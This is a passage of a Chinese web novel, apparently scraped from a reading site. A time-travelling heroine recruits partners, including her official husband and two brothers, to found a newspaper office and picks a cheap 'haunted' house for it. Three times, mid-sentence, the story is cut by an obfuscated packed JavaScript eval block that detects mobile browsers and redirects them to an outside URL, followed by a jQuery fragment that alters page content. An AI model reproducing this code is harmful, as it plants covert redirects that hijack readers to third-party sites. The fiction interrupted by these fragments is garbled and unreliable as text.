“夫人竟有如此雄心壮志。”萧谨言回味着孟允抒的演讲内容,明显被她的激情所感染。 孟允抒趁热打铁问他:“公子意下如何?” “夫人垂青谨言,我深表感激。” 孟允抒欣喜万分:“那——” 萧谨言小声说道:“但我不愿经商。” “为什么?” “世人都说‘士农工商’,若非无路可走,众人都不想从商。” 孟允抒把这茬给忘了。古代商人地位低,在这四个阶层中,商人是最容易被人轻视的。 她问萧谨言:“若是公子一直无法考取进士,难道你就要将一辈子的光阴都浪费在科考之中?” 这是一个令人绝望的假设,萧谨言也露出痛苦不堪的表情,显然这七年的科考已经让他饱受煎熬。 然而他还是像自我洗脑一般地絮叨着:“我别无选择。我是萧家二公子,我必须得考取功名,这样……” 孟允抒发现,萧谨言还是个死脑筋。 她好说歹说地劝了半天,终于无法再继续忍受他的冥顽不灵,有些生气地说了一句:“那你便考,考到两鬓斑白,到头来让你的诗文烂在屋里,你便满意了!” 这句话给了萧谨言一个沉重的打击,彻底击溃了他的心理防线。 他先是一愣,而后眼中竟泛起泪花。 “我就知道,我果真不招人喜欢。我爹嫌弃我,我娘骂我不争气,兄弟又都出人头地,只有我……” 孟允抒头脑发懵,她没想到萧谨言的心理脆弱至此,她一句话就惹得他这样难过。 这事与她脱不了干系,她只得连声道歉:“方才是我言重了,实在抱歉,公子不必自责。” 但萧谨言看起来更伤心了,眼眶泛红,淌着两行清泪说道:“不,夫人只是直言不讳而已,我有自知之明,且早已习惯他人这样评价。” 孟允抒极力不让自己的眉头皱起来,免得他又要怀疑她心生厌弃。 好麻烦的性格。 在孟允抒疲于应对萧谨言的时候,一个声音由远及近。 “我倒是觉得孟夫人的想法甚好,计划也周密可行,二哥可以一试。” 8. 合伙人 孟允抒回头一看,萧睿言从假山后方现出身形,正朝他们信步走来。 “睿言见过孟夫人。”他向孟允抒施礼,笑意盈盈道,“父亲差我来寻二哥,我走到此处时听得孟夫人慷慨陈词,正至精彩之处,我不愿打扰,便在一旁听了下去,还望孟夫人恕罪。” “能得到三公子肯定,允抒倍感荣幸。” 见到萧睿言,孟允抒想起她的采访稿中还有一处缺漏。刚才与那群夫人小姐聊天时她特意打听过萧睿言的感情状况,但能从当事人口中得到答案自然最好。 “方才席间人多,有一事我不便问公子。”她说,“我听众人说三公子与盛姑娘私交甚密,此话是真是假?” 孟允抒在提问中给萧睿言挖了个坑。她并未提及盛催雪的姓名,若萧睿言矢口否认,那反倒坐实了传言。 “盛姑娘?你说的可是那位闺阁才女,盛催雪?” 她的陷阱被萧谨言一脚踩了进来。 孟允抒很想把他痛打一顿,却见他泪痕未干,于是忍了又忍,勉强挤出一个微笑:“二公子认得她?” 萧睿言替他答道:“盛姑娘名声在外,但京中鲜少有人能一睹芳容。我听闻她家教严格,从不接见外宾。” 说罢,他看了看萧谨言,忍俊不禁道:“她有不少佳作流传于世,二哥对其赞不绝口。盛姑娘每有新作,他定要在第一时间寻遍京中书坊买来收集。若是有人诋毁盛姑娘,他便会同那人争得面红耳赤。” 孟允抒心下了然,原来萧谨言是盛催雪激推,怪不得他刚才的反应那么强烈。 “既然父亲寻我,我便先走了。”萧谨言被萧睿言揭了短,愤愤不平地逃离现场。 孟允抒追上去,百折不挠地拉拢他入伙:“二公子,今日我说的话皆发自肺腑,还望你能认真考虑。” “孟夫人请留步。”萧睿言叫住孟允抒,“关于办报一事,我有几处不明,请夫人为我解惑。” 孟允抒暂时放过萧谨言,返回亭中答复了些细节问题,萧睿言点头道:“如此说来,夫人当下最短缺的是资金与人力。” “是。” 孟允抒虽有些嫁妆,但一个人的抗风险能力不强,况且她目前无权无势,招揽贤才也绝非易事。 “若你决心办报,我愿为你分忧。”萧睿言笑道,“我刚得了御赐,钱财上尚有余裕。大哥已经自立门户,也可助夫人一臂之力。至于二哥那里,我去帮你游说。” 天下没有免费的午餐,萧睿言与她相识不过半日,孟允抒不相信他会无缘无故地帮助自己。 她开门见山道:“明人不说暗话,公子需要我帮你做些什么?” “夫人多虑了,我并非有求于你。我做此事的原因有三。”萧睿言笑道,“一来自然是为了入股赚钱;二来是想让二哥早日安顿下来,让姨娘少发几次火,别再吵得我耳根子疼。” “三来是因为我觉得此事着实有趣。下月我要去户部赴任,从此之后就得和那群老油条们打交道,想来定是十分无聊。” 他向湖中丢了枚石子,虽是小小一颗,却依然激起一朵水花,令湖面泛起层层涟漪,一直荡至岸边。 “相比之下,内探是个不错的差事,还能多领一份薪资。若朝中有什么新奇的事,我会及时告知于你。” 孟允抒疑惑:“户部官员政务繁忙,你怎会有时间做这些事?” 萧睿言自信一笑:“忙里偷闲。” 翻译一下就是“上班摸鱼”。 相较民间新闻而言,打探朝中消息的难度更大,若能在宫中安插线人,那自然再好不过。 因此,尽管孟允抒对萧睿言的话半信半疑,却依然答应下来。 萧睿言达成自己的目标,起身整理衣衫:“那便说定了,我们先去寻找附近有无合适的房屋,再打探京中有无可用的贤才。待事情有了眉目,我再与二哥登门拜访贵府,从长计议。” 孟允抒蓦地想起,若是要接见来客必然会惊动许昭,但他目前还不知道她要创建报社的事。 纸包不住火,这样下去不是个办法,她得找个契机和许昭聊聊这件事。但在此之前,她得先瞒着许昭,要是萧睿言提前将消息透露给许昭,她就会处于被动的境况。 “等等。”孟允抒拦住萧睿言,对他叮嘱道,“此事我尚未告知许郎,还请公子先替我保密。” 萧睿言闻声顿住脚步,回头看了她一眼,微微一笑道:“好。” “既然夫人提到许大人,还容我再多说几句。”他继续用那副闲聊时的轻松口吻说道,“原本这是夫人的私事,不应由我多嘴。但通过今日在席上与你问答,以及方才夫人所言,可看出你机敏果敢,睿言深感敬佩,也与你甚是投机,所以想斗胆问夫人一句话。” 现在萧睿言是孟允抒的天使投资人,她不敢怠慢了他,笑着应道:“公子愿意为我提供诸多帮助,我无以为报,区区一个问题,你但说无妨。” “夫人果真为人爽利,那我便直说了。”萧睿言眼含笑意,但问题一针见血,“敢问夫人是否与许大人感情不和?” 孟允抒心底一惊,但面上依然泰然自若。 “何以见得?” “夫人与许大人举止亲密,却有刻意之嫌,应是为了做戏给旁人看。”萧睿言开门见山道,“且过去几年夫人几乎从未随许大人一同出游,前些日子姚府又东窗事发,你们二人之间的关系一目了然。而后虽有小报否认你们离心的传闻,但也像是为掩人耳目所作。” 孟允抒突然觉得,相比之下,她还是更喜欢和萧谨言相处。 至少他没什么脑子。 她不动声色地说道:“允抒愚钝,请公子把话讲得更明白些。” “夫人不必紧张,我并非想要揣测你们二人的关系,或是在此挑拨离间。这些事做起来相当麻烦,我对此毫无兴致。”萧睿言轻笑一声,打消孟允抒的顾虑,“我有意与夫人结交,更何况待报社建立后,我们还要长期合作,必须信任彼此。” 说罢,萧睿言正色道:“许大人是正人君子,却屡遭朝臣倾轧排挤。既然我能看出夫人与他感情不睦,那旁人定然也能发现这其中的蹊跷。我担心不轨之人会利用此事做文章,蒙蔽夫人加害于他。” 孟允抒凭借直觉和经验判断,萧睿言并没有说谎。先不论他的真实意图是什么,有一点他说得没错。 在外人面前她得表明她和许昭夫妻同心,不给他人可乘之机。 “多谢公子提点。既然你以诚待我,允抒也当坦诚相对。”孟允抒直言,“过去我与许郎有诸多误会,但尽是些不足挂齿的私人恩怨。我舅父家人待我不好,又为非作歹,落此下场也是罪有应得,我并不仇恨许郎。” 她又找了个合适的借口解释两人关系生疏的原因,装出无奈的表情感叹道:“只是如你们所见,许郎性情冷淡,不喜与人来往,我虽倾心于他,却因他寡言少语,我对他不甚了解。” 从原主的记忆中孟允抒也发现,有不少人曾说过许昭性格怪异孤僻,不近人情。先前萧老爷曾蒙冤入狱,是许昭仗义执言替他奔走平反。为表谢意,他出狱后便备下厚礼送给许昭,但许昭却说他只是秉公断案,推拒不得后竟然斥责萧老爷公私不分,最后两人闹得不欢而散。 这件事简直就是对“铁面无私”的具象化表述。 “许大人出身寒门,礼数不周,不懂得人情世故,被众多官员轻视、排挤,不过我倒是希望朝堂之上能多些像许大人一般的人。”萧睿言似乎对许昭颇为赞赏,“正是因为他从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310338|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 底层走入庙堂,才能懂得民间疾苦。” 孟允抒拿不准萧睿言的为官之道,试探着说:“现今公子也已步入朝政,宫廷之中自然是多了一名好官。” “并非如此。”萧睿言直言不讳道,“我并无政治才能,也没有建功立业的决心,只想在漩涡中保全自身、帮助家人罢了。若二哥能入朝为官,我就能放手经商。只可惜造化弄人。” 萧睿言说这话时,孟允抒并没有从中听出感伤的情绪,倒像是一句对命运的调侃。 “今日就先谈到这里。我还有事在身,先行告退了。” 孟允抒也觉得她在此处逗留过久,起身欲走时才回忆起她来这的目的:“三公子,请问府中有哪些清静的去处?” 她向萧睿言说明她与许昭走散的情况,萧睿言思索片刻,给出了一个推测。 按照他所指的路线,孟允抒拐过一道弯,远远地望见许昭在墙边的长凳上坐着。 “许公子,我找——”她走近许昭,话说到一半时被他手中的东西吸引,惊喜地问道,“你竟然还有这般手艺?” “姑娘回来了。”许昭抬眼看看她,将目光挪到手里的花环上,稍显尴尬地咳了一声,“我一人在此闲来无事,随便找点事做。” 孟允抒好奇地打量着花环,它以墨绿的枝叶为底,挽成精巧美观的绳结,上面有各色小花作为点缀,热闹却不显得繁杂。 她从来没想过许昭能和“心灵手巧”一词搭上关系。 “这会宾客应该已经陆续散去了,我们也回府吧。” 说罢,许昭起身,顺手将花环向草丛中一丢。 “等等。”孟允抒正认真观察着,许昭的动作太过突兀,她急忙跑过去将花环捡回来,“这么漂亮的东西,扔了岂不可惜?” 许昭对她的反应很是意外:“姑娘见多了金银玉器,竟然还会喜欢此等低微之物。” “金银有价,草木无价。”孟允抒同许昭一起向前庭走去,将花环翻来覆去地欣赏,“更何况二者本就不是同种物件,各有优劣,怎能放在一起比较?” 许昭见她对此爱不释手,有些不解地问:“最多三日,它便会枯萎凋零。姑娘何必费神将它带走?” 孟允抒不以为意:“那也是三日之后的事,当下只需珍惜春光。” 许昭沉默片刻,见她兴致高昂,转而开口问道:“孟姑娘今日十分尽兴?” “那是自然。” 孟允抒觉得她在此次宴会中收获颇丰,不但打探到不少需要的情报,还结识了实力雄厚的合伙人,招聘到了一位编辑和一名朝廷内线记者,许多棘手的问题迎刃而解,创建报社指日可待。 她沉浸在满载而归的喜悦中,完全没察觉到许昭欲言又止的神情。 “我本不该在此时扫了姑娘的兴致,可有一言我不得不说。”最终他开了口,提醒孟允抒道,“现今你常出门走动,喜欢与人交往,这是好事。但请姑娘不要与任何人走得过近,免生事端。” 孟允抒明白许昭是想避免官场中的那些裙带关系,向他保证道:“请公子放心,我自有分寸,定然不会将政事与私交混为一谈。” 许昭略一点头,淡然说道:“政局复杂险恶,姑娘能独善其身便好。” 这句话让孟允抒想起他在宴会中的表现,又蓦地联想到萧睿言扔进湖中的那枚石子。俗话说有人的地方就有江湖,许昭身处朝廷,想要明哲保身便只能切断与他人的联系,处于绝对的中立地位。 可从许昭的性格与作风来看,又显然与这一目标相冲突。 她思忖半天也没能找到合理的解释,索性将注意力转移到另一个问题上来。 萧睿言那边已经着手准备办报的前期工作,她得尽快向许昭说明此事。 9. 坦白 愉快的一日假期结束后,孟允抒又回归了她的打工人身份。 工作日的前三天是最难熬的,支撑孟允抒干活的唯二动力是两条好消息。 第一,她新写的报道被快马加鞭印成了小报,第一批报纸刚刚印刷出来后不久就被抢售一空,这增强了孟允抒对报业发展的信心。 第二,随着小报的发行,她顺利收到了系统的任务奖励。 精神胜利法无法消除双腿传来的胀痛,孟允抒抹了一把额上的汗珠,在心中愤愤不平地想,等她当了老板,她一定自食其力,绝对不当这种剥削员工的资本家。 “快,快把小报打乱,不该放在外面的书页也赶紧收起来!”一个伙计从前宅慌慌张张地闯进来,让他们把桌上印好的纸张统统打乱,又急忙招呼几人去院中把正在晾晒的纸张从绳上取下,“动作麻利点,他们马上就到了!” 在一片混乱之中,孟允抒虽然不明白发生了什么,但见工人与伙计都神情紧张,于是跟着他们一起打散小报,见缝插针地问:“发生什么事了,谁要到了?” 她身旁那个印工一把将纸堆揉乱,语速飞快地回答:“上面那些当官的老爷要来了!” 孟允抒与秋盈对视一眼,不解地问:“那为什么要把小报打乱?” “瞧你这话说的。”印工神情焦急道,“小报上什么内容都有,指不定就戳中了那些官老爷的痛处,更有甚者还妄议朝政,搞不好这就是掉脑袋的事!打乱小报最起码能减少些风险,若是文章不完整,我们还有为自己辩解的余地。” “还有那些书。”秋盈旁边的刻工也说道,“其中有两种可是朝廷明文规定的禁书,这让官老爷们看见还得了?” 孟允抒还想再多问几句,门外几个穿着公服的身影却已经跨进门槛走了进来:“官府突击检查,请诸位暂时放下手中活计,不要乱动,在院中排成两队站好。” 室内的空气顿时冷了下来,工人伙计们噤若寒蝉,孟允抒和他们一起,按照这几名官员的命令在院中站好。 孟允抒深知古代文字狱的恐怖,为钳制民众的思想,每个封建王朝对文化的审查都十分严格。她不敢轻举妄动,在队伍中将头深深埋下,竭力降低自己的存在感。 郭掌柜也已从前面的书铺中赶来,对为首的官员说:“大人,小店一直恪守行规,诚信经营,从不坐逾矩之事,请大人明察。” “掌柜莫怕,我们只是秉公办事。若你不曾做那些违法的买卖,我们定然不会冤枉了你。” 这声音太过耳熟,孟允抒惊愕地抬起头。 下一秒,她与许昭四目相对。 许昭看起来显然比她更加意外,怔怔地盯了她半天,像是在辨认她的面容。 孟允抒连忙重新将头低下,暗自祈祷许昭没能认出她。 平日她来书坊前都会乔装打扮,且从第一日起就叮嘱过府中下人,不许将此事透露给许昭,他也从来没见过她换装后的模样。 更何况,她向来都是在离文昌书坊还有一里地的时候下车,府中除了秋盈,根本无人知晓她整日在外做什么。 孟允抒这样想着,心里有了几分底气。 几名官员在坊中搜查一番后,将数页纸张带给许昭:“许大人,这些纸上的内容涉及朝政机密。请您过目。” 孟允抒低着头,看不见许昭的神情与动作,只听见一阵纸张被翻动的摩擦声。 声音停下后,许昭沉声问道:“郭掌柜,请问你对此作何解释?” “这是哪个不怕死的写的!”郭掌柜看了看纸上的内容,大声怒斥道,“竟敢冒充侍郎大人的身份写这种假奏章!” 说罢,他又严肃地对许昭说:“大人,小报生意红火,总有贪财近利者杜撰新闻。平日里我们书坊事务繁杂,刊印纸张众多,难免会有几则胡言乱语的消息混进其中,令人防不胜防。今后我一定对这些内容严加审核,坚决不让其流入坊间。” 孟允抒在心里默诵着郭掌柜的免责声明,说不定以后她也用得上。 许昭没有回应,郭掌柜又郑重其事地补充道:“事关重大,还请大人明察。若大人需要追究消息来源,我愿竭尽所能配合大人调查。” 许昭终于开了口,从他的语气中依然听不出任何个人情绪:“多谢掌柜。之后若是有需要,官府会派人前来取证。” “明白,我在此随时恭候大人差遣。” “方才我在队伍之中看到一人甚是面熟。”许昭忽地换了话题,“第三列,第二排那位小兄弟,请你抬起头来。” 孟允抒心头一颤。 坏了,冲她来的。 她按照许昭的命令抬起头,对他露出一个谄媚的笑容,用她伪装出的男声说道:“大人找我?” 许昭听见她的声音先是一愣,而后犹疑地将她从头到脚打量了几遍。 郭掌柜见状,赶忙上前问道:“这是我们坊中新来的帮工,大人可需要将他带走问话?” 孟允抒讪讪地笑着,心跳如鼓点般敲得越来越快。 许昭收回目光,转头对郭掌柜说道:“不必,我认错人了。打扰掌柜。” 而后,伴随着一阵凌乱的脚步声,许昭带着一队官员离开了书坊。 掌柜如释重负地松了一口气,对伙计们吆喝道:“都散了,快去干活。” 孟允抒也仿佛卸下了千斤重担,至少许昭没有在大庭广众之下戳穿她的身份。 但是从他的反应来看,她今天是逃不过一场盘问了。 果然,在她下工回府后,门房直接把她请进了正厅。 而孟允抒身上还穿着那件粗布短褐。 她将心一横迈进门槛,若无其事地向许昭行了礼。 “许公子有事找我?” 许昭将手中的书放到一旁,目光稳稳地落在她身上。 “姑娘请坐。” 孟允抒落座后,许昭却迟迟没有开口。她心里七上八下,一面谨慎观察许昭的神情,一面思索着对策。 她与许昭并无夫妻之实,平日里他们鲜少过问或插手彼此私事,可今天的事显然不同以往。 其一,她欺瞒了许昭。这些天她外出的理由都是闲逛散心,从没和他说过半句实话。过去两年里二人因猜忌生出嫌隙,现在她所做之事将这道裂痕撕扯得更大更深。 其二,文昌书坊所售的文化产品有违令之嫌,而她恰好在书肆帮工。 她这已经不是在雷区蹦迪了,简直就是把两颗地雷结结实实地踩在脚下,且被许昭逮了个正着。 孟允抒自知理亏,决定先说几句好话探探许昭的口风:“公子,今日之事我已知错,我不该瞒着公子,自作主张前去书坊帮工。但我可以保证,我在坊中从未做过逾矩或违令之事,这点请你放心。” “不,姑娘想去何处、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310339|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想做何事都是你的自由,我无权干涉。”许昭轻轻叹了口气,又沉默良久。 “我只是觉得对不住姑娘。” 这句话不在孟允抒的预料之中,她惊诧地问:“公子此话怎讲?” 许昭注视着她,缓缓说道:“姑娘出身高贵,是娇生惯养的大家千金。你到姚府后虽暗受轻视,但他们在明面上并不苛待你,你的生活依旧算得上是锦衣玉食。后来姑娘到我府中,境况却急转直下。” 比起其他同级官员的消费水平,许昭的生活节俭,除必备的门房、厨房等岗位人员以外,府中没有其他仆人,连他自己都没有配备丫鬟或小厮,平日饭桌上最多出现的也是家常饭菜。 在孟允抒看来,这已经是神仙日子了。 更何况许昭每月都会给她按时发放月银,对她称得上仁至义尽。 她直言道:“公子不曾亏待于我,如今的生活也称得上平淡闲适,我相当知足。” “到底是我坏了姑娘的名声,这些都是我分内之事。” 许昭顿了顿,神情庄重地问她:“姑娘与我这般出身低微之人成婚,难道不觉得受了委屈?” 自古以来人们结亲便讲究门当户对,单论孟允抒和许昭的家境,这门亲事是他高攀,许昭认为孟允抒多少会对此心怀芥蒂。 “风水轮流转,显贵之家不一定永远昌盛,贫贱小户也并非没有发达的可能。往祖上倒个几代,谁富谁贫还说不准呢。”孟允抒笑道,“更何况出身并非一个人的全部,公子品行端正,何来委屈之说?” 许昭瞥了一眼她身着的那件粗布衣衫,并不相信她的回答:“你不必瞒我,你带着秋盈跑去书坊帮工,不是因为手头紧张?” 听到他的疑问,孟允抒恍然大悟。 原来许昭是认为她缺钱花,这才跑去书坊干活。 话题已经行进至此,时机绝佳,孟允抒决定顺势向许昭坦白她办报的计划。 “公子误会了。我去书坊不为赚钱,而是偷师。”她找了个合理的借口说,“我在府中并不劳作,却要从账上领取月银,受之有愧。且公子一人持家太过辛苦,我想为你分忧。” 她先是用一通真挚诚恳的好话作为铺垫,以体现自己对许昭的感恩和理解,而后逐渐切入正题,表明她办报的意愿及其重要性,引出她的详细计划。 孟允抒同他讲述这些时颇为自信,可心里并无十足的把握。许昭做事向来保守稳妥,她担心许昭会断然否定她的计划。 所幸在听她叙述的过程中,许昭的面色由平静变为讶然,最后微微一笑。 “姑娘的想法别具一格,且有自强自立的傲气,许某佩服。前些日子你通过小报为我辩白,我见识过姑娘的文采,若做此事定有所成。”许昭的话锋一转,“只是民间小报乱象丛生,违令者诸多,为保险起见,请姑娘允许我出资入股,监察民情。” 孟允抒思忖片刻,认为许昭参与此事利大于弊。 他对胤朝的律法烂熟于心,如果他能从旁监督并帮助审查,她反而能绕开禁令,在官方与民众之间寻得一个平衡点,既不至于因违令祸及自身,又不会让百姓陷入闭目塞听的困境。 而且,多一笔启动资金对她来说也是莫大的好事。 于是她应允许昭的话,并向他说明了在萧府所发生的事情。 “待萧公子那边传来消息,我们可以再与其详谈。” 10. 初创团队 萧睿言所言非虚,孟允抒从萧府回来后刚过十日,他便同萧谨言一起登门拜访,与孟允抒详谈创建报社的相关事宜。 不过萧谨言看起来还是一副不情不愿的样子,像是孟允抒强迫他抛弃贞操下海一般。 “二位公子请进。” 孟允抒喜上眉梢,将两人迎进正厅,又亲自给他们沏了茶,以表自己的惜才之意。 “许大人也在。”萧睿言满面笑容,向早已在桌边等候的许昭行了一礼,又将目光投向孟允抒,略一挑眉。 孟允抒会意地解释道:“我先前已将办报之事告知许郎,他将定期对小报内容进行审阅,防止妖言惑众。” 言下之意就是,许昭现在已经知道内情,萧睿言可以不用再守口如瓶。 “原来如此。”萧睿言拱手说道,“还是许大人思虑周全。” 在几人互相寒暄的时候,萧谨言全程站在旁边赔笑,嘴里发出一些不明所以的语气词。 孟允抒先前已经见识过,这是萧谨言特有的打招呼方式。 “夫人,秋盈姐姐到了。” 一个小丫头带着秋盈进来,她见桌旁坐着两位陌生公子,便先行了个常礼,而后用疑惑的眼神望了望孟允抒。 孟允抒起身将秋盈拉过来:“给二位公子介绍一下,这位是自幼服侍我的姐姐,跟在我身边多年,名叫秋盈。” 她又向秋盈说明对面两人的身份:“这便是我和你说的那两位公子,今后我们就要在一起共事了。” 前些日子她听孟允抒讲过此事,心下了然道:“多谢二位公子鼎力相助。” 孟允抒招呼众人落座,准备进行第一次会议:“客套话都说完了,各位都别站着,坐下说话。” 她见秋盈还站在一边,便伸手将她拉过来:“你愣着干什么,快坐。” 秋盈神情一滞,忙不迭地退后:“不必了,我在旁边站着便好。” 目前桌上坐着四人,分别是孟允抒、许昭、萧谨言、萧睿言。在秋盈眼中,桌上坐着的是夫人、老爷、两位大户人家的公子。 而她身份低微,和他们坐一桌显然是坏了礼数。 孟允抒不用猜都知道秋盈在想什么,索性将她一把按在椅子上笑道:“你若是不坐,我说话还得仰着脖子,怪麻烦的。” 秋盈惶恐不安地坐着,又担心因为她耽误了他人的时间,却也没再起身。 萧睿言率先开了口,向许府三人概述他这一周打探的成果:“目前我们寻到了四处宅子,离许府和萧府都不远,而且其所在街道商铺数量众多,平日里有不少前来采买闲逛的行人。” 他依次介绍了这几处房宅的售价、地理位置和房屋布局等基本情况,在面前的白纸上绘制出简单的平面示意图。 “最后一处宅子位于云锦天街西侧的杏林巷,临近造纸坊,是三进四合院结构。” 孟允抒听着萧睿言的介绍,又端详了一番他画出的房屋布局图,对其很是满意。 靠近造纸坊意味着取纸方便,可以节约不少运输成本;房屋的布局也非常符合她想象中报社的部门设置。 临街的前宅可作为营业门面,在其中售卖小报,附带部分销售量极高的书籍;中庭可用作采编部门的办公地点,在此处进行讨论选题、撰写报道和编辑稿件等工作;后院则可以设置为刻印工坊,承载雕刻字模、印刷报纸的功能。 她问萧睿言:“这处宅子售价多少?” “三千两银子。” 话音落地,除萧谨言外,桌上所有人都一齐睁大了眼睛。 孟允抒不可置信地确认:“三千两?” 这个价格和天上掉馅饼没什么区别。 京城寸土寸金,房价高昂,且云锦天街地处繁华,周围的房屋也随之摇身一变成了旺铺,先不论那些豪宅,连犄角旮旯的小宅子都动辄上万两。 “别高兴得太早了。”一直保持沉默的萧谨言突然开口,“那是个凶宅,闹鬼。” 接着,他讲起了这个说法的来历。 “这宅子原本是陈府,那是户小富人家,主人有一妻一妾,整日斗得鸡飞狗跳。后来妾室江氏渐渐失宠,忧思过度重病身亡,也有传言说此事与正室的王氏有关,江氏是含冤而死,怨气深重。” “她去世后,宅子里便频频生出异象,什么烛火自熄、女子夜啼都是常事,还有人说曾在深夜见到那妾室于庭中行走。后来,陈老爷暴毙身亡,府中下人疯的疯,死的死,没一个好下场,最后连那王夫人也失了神智,被接回娘家。陈老爷膝下无子,陈府被他弟弟接了手,他觉得晦气,想早点把这个烫手山芋扔出去,所以才低价出售。” 这是一段相当经典且俗套的坊间怪谈,不知可信度能有几成。 而且,作为一个坚定的唯物主义战士,孟允抒完全不在乎什么鬼神之说。即使真有鬼,那最可怕的一定是穷鬼。 孟允抒又综合比较了一下几处宅子的各方面,最终还是被那处凶宅的性价比折服,心中的一杆秤已经向陈府倾斜。 桌上还坐着其余几位创业伙伴,她不好直接做决定,便先征询其余四人的意见:“你们觉得呢?” “反正肯定首先排除那个凶宅。”萧谨言不满地瞥了眼萧睿言,“要我说就不该把它放进备选案例里面,劳心费神。” 萧睿言则像没听见他的话一般,不紧不慢地说道:“我觉得这几处宅子都甚是不错,若我有所偏好,就不会将它们全部呈给各位了。” 许昭的态度中立:“我只是从旁监督小报内容,其余事务我不插手,请诸位自行定夺。” 秋盈的回答在孟允抒的预料之中:“我听夫人的。” 当前场面对孟允抒十分有利,她当即拍板:“那先暂定将陈府作为最优选择,待我们实地考察后再作最终决定。” “啊?”萧谨言显然没预料到这个结果,他急切地提醒几人,“你们没听见吗,那可是凶宅,凶宅!我反对!” “好吧。”为了让萧谨言心悦诚服,孟允抒说道,“那请各位共同表决,少数服从多数。” “同意将陈府作为最佳选择的人请举手。” 孟允抒和秋盈第一时间举起了手,许昭迟疑半秒,飞快地扫了眼两名萧公子,也跟着抬起手臂。 此时结果已经明了,萧谨言见状更是焦急,直接从椅子上站了起来:“不是,你们都不怕那冤魂前来索命吗?” 孟允抒非常意外,萧睿言居然不赞同她的想法,而许昭居然会表明态度支持她。 “不同意方才提议的人请举手。” 萧谨言噌地一下将手举得老高。 但最引人注目的还是萧睿言。他还是没举手。 还不等孟允抒发问,萧谨言先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310340|167268||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提出了她的疑惑:“睿言,你这是什么意思?” 萧睿言笑了笑说道:“我方才说过,这几处宅子在我眼中都很好,我并无倾向。” 哪边都不得罪,真是和稀泥的一把好手。 “那许大人是怎么回事?”病急乱投医,萧谨言又将矛头对准许昭,“你方才不是说不插手此事吗?” 许昭突然被点名提问,一时语塞,竟然没给出合理的解释。 “许大人若是不表态,我要是同意你,那便是二对二,决不出胜负。”萧睿言看上去是在向萧谨言解释,但孟允抒觉得他刻意提高了声音,“说到底许大人与孟夫人是夫妻,有私心也是人之常情。” 别人不知内情,但孟允抒心里可是门儿清。 许昭对她哪来的私心? 她觉得有些好笑,转头去看许昭的反应时,却发现他的耳朵已经拢上一层薄红。 她不但笑不出来了,而且有点慌张。 他这是什么意思? 为摆脱尴尬的气氛,许昭及时将话题拉回正轨,继续推进议程:“此事已有结论,我们商讨下一个问题。” 孟允抒也赶忙回归正题,跟上来问道:“三公子,我曾拜托你打听相关人员的消息,请问情况如何?” 报社最主要的三个部门便是采编、印刷和发行,相应地需要具备不同专业能力与技术的人员。 “平日我素爱交友,其中不少人才思敏捷,却怀才不遇。”萧睿言用余光扫了眼萧谨言,“他们听闻我考中状元,相聚同游,我便趁此机会传达了夫人的想法,有几人曾表示愿意加入报社,尝试担任探官或编辑。至于其他人等我尚无眉目,但二哥说他那边打探到了消息。” 萧谨言终于压过萧睿言一头,万分得意地接过话说:“前些天我去买盛姑娘最新发表的词作,跑遍了城内的书肆,他们都告知我来迟了,没有库存。后来我找到京郊的一家书坊,里面还有姑娘的作品。” 他喜不自胜,连语调都变得高昂了几分。 “但我见那书坊气氛萧索,房屋空旷,只余寥寥几本典籍,觉得奇怪,便向掌柜打听。他说,他的店铺经营不善,便索性将店铺转让出去,回家务农。那店里的伙计和工人垂头丧气,说这下没了着落,还得另寻出路。” 萧谨言说到这里便不再开口,冲对面几人笑笑。 后面的事不言自明。这真是踏破铁鞋无觅处,得来全不费工夫。 报社选址和人员招募的事有了初步进展,报社的轮廓也日渐清晰。随后他们要做的事便是实地考察那几处宅邸,等定下结果后添置需要的器具,以及甄别和筛选应聘人员。 随后,孟允抒就能迈出崭新的第一步了。 许昭显然也意识到这一点,他将话题推进至下一个问题:“此前坊间并无专营小报的店铺。既然要兴办报社,总得有个名号。” 他转头问孟允抒:“你有什么打算?” 这话提醒了孟允抒,之后她还得找工匠为报社做个匾额。 她创建报社的最初目标是办报,定下报纸名称后,报社名字也就随之明了。孟允抒要办的是一份迎合市井热点的民间小报,自然想到了那份妇孺皆知的《人民日报》。 换成胤朝的叫法,那便是《黎民日报》。 孟允抒心中有了答案,对许昭笑道:“就叫‘黎民报社’吧。” 11. 凶宅 既然创建报社之事已经提上日程,孟允抒随便寻了个由头,向郭掌柜提出要走。在分别的那日,郭掌柜对她和秋盈反倒热情了不少,还再三叮嘱她,若是有了新闻,还可出售给他,找他印制小报。 孟允抒估计,这是因为她的身份从员工变成了顾客,顾客的潜在含义是金主。 在做生意这方面,郭掌柜很是在行。 